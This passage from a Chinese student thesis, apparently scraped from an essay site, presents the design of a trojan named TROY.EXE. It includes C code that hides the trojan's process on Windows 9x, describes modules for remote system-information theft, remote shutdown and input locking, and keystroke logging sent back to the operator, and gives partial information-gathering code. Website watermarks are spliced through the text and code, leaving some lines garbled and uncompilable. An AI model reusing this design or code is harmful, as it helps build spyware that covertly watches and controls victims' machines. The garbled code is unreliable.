从某种意义上讲,伪装是一种很好的隐藏。木马病毒的伪装主要有文件伪装和进程伪装。前者除了将文件属性改为隐藏之外, 大多通过采用一些比较类似于系统文件的文件名来隐蔽自己;而后者则是利用用户对系统了解的不足,将自己的进程名设为与系统进程类似而达到隐藏自己的目的。 copyright paper51.com (2)进程隐藏 paper51.com 木马病毒进程是它驻留在系统中的最好证据, 若能够有效隐藏自己的进程, 显然将大大提高木马病毒的隐蔽性。在WINDOWS9X系统中可以通过将自己设为系统进程来达到隐藏进程的目的。具体可通过以下代码来实现: 内容来自论文无忧网 www.paper51.com WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int) http://www.paper51.com { paper51.com DWORDdwVersion = GetVersion();//取得Windows的版本号 paper51.com if(dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 paper51.com { http://www.paper51.com
int(CALLBACK *rsp)(DWORD,DWORD); 内容来自论文无忧网 www.paper51.com HINSTANCEdll=LoadLibrary("KERNEL32.DLL");//加载kernel32.dll 内容来自论文无忧网 www.paper51.com rsp=(int(CALLBACK*)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess入口地址 内容来自论文无忧网 www.paper51.com rsp(NULL,1);//将该程序注册为服务进程 paper51.com FreeLibrary(dll);//释放DLL模块 copyright paper51.com } copyright paper51.com return0; http://www.paper51.com } 内容来自论文无忧网 www.paper51.com 3.5 系统总体设计 http://www.paper51.com 如图2所示木马程序的Client端,采用VC++编写,程序名为TROY.EXE。 paper51.com 内容来自www.paper51.com 图2 Client端效果图 paper51.com 本木马一共有4个模块,分别为:远程系统信息获取模块,远程系统功能限制模块,信息发送模块,击键记录模块。 内容来自论文无忧网 www.paper51.com 远程系统信息获取模块: copyright paper51.com 把远程主机的操作系统版本、计算机名、内存大小、当前进程等多项系统数据记录,发送并回显至Client端; copyright paper51.com 远程系统功能限制模块: http://www.paper51.com 对远程主机进行远程注销、远程重启、远程关机、锁定鼠标、锁定键盘等多项功能限制,提高木马的生存性; copyright paper51.com 信息发送模块: paper51.com 向Server端发送消息,可以达到善意的提醒; copyright paper51.com
击键记录模块: 内容来自论文无忧网 www.paper51.com 记录远程主机用户的击键记录,发送并回显至Client端。 内容来自www.paper51.com
4 第二代木马的实现 http://www.paper51.com 木马的编写采用C/S结构,Client上的每一个按钮相当于向Server发送一个字母消息,在Server中会有相应的函数进行判断,根据收到的字母进行函数调用以实现功能。 内容来自论文无忧网 www.paper51.com 4.1 远程信息获取模块 内容来自论文无忧网 www.paper51.com 4.1.1 获取远程系统信息 paper51.com 该功能模块运行界面如图3所示,主要调用了四个API函数: 内容来自论文无忧网 www.paper51.com 内容来自论文无忧网 www.paper51.com 图3 查看远程系统信息 内容来自论文无忧网 www.paper51.com GetSystemInfo:返回当前系统的信息 paper51.com GlobalMemoryStatus:获得当前可用的物理和虚拟内存信息 内容来自www.paper51.com
GetVersionEx:返回当前操作系统的版本信息 内容来自论文无忧网 www.paper51.com GetSystemMetrics:返回与windows环境有关的信息 paper51.com
核心代码如下: 内容来自论文无忧网 www.paper51.com //取得系统信息 内容来自www.paper51.com CStringDisplayString,cpu,Memory,os,osps,display; paper51.com SYSTEM_INFO SystemInfo; paper51.com
::GetSystemInfo(&SystemInfo); http://www.paper51.com //获取内存信息 http://www.paper51.com MEMORYSTATUS MemoryStatus; http://www.paper51.com MemoryStatus.dwLength=sizeof(MEMORYSTATUS); http://www.paper51.com ::GlobalMemoryStatus(&MemoryStatus); 内容来自www.paper51.com char buffer[20]; 内容来自论文无忧网 www.paper51.com //返回总的物理内存大小,以字节单位 http://www.paper51.com wsprintf(buffer,"%dbytes",MemoryStatus.dwTotalPhys); http://www.paper51.com
|